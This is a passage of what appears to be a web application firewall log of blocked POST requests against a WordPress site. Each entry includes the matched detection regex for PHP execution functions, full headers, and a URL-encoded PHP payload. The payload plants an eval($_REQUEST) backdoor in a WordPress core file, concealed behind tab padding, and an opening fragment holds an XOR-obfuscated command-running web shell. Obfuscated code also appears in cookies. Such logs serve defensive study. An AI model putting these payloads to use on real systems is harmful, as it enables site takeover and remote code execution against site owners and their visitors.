7B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:56:46","77.73.233.48","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:2071\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\naj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:56:55","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:2071\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nkL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:57:06","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:2071\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqyZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\nvS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:57:11","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\ncontent-length:2071\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nqT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:57:21","162.240.52.198","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:2071\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 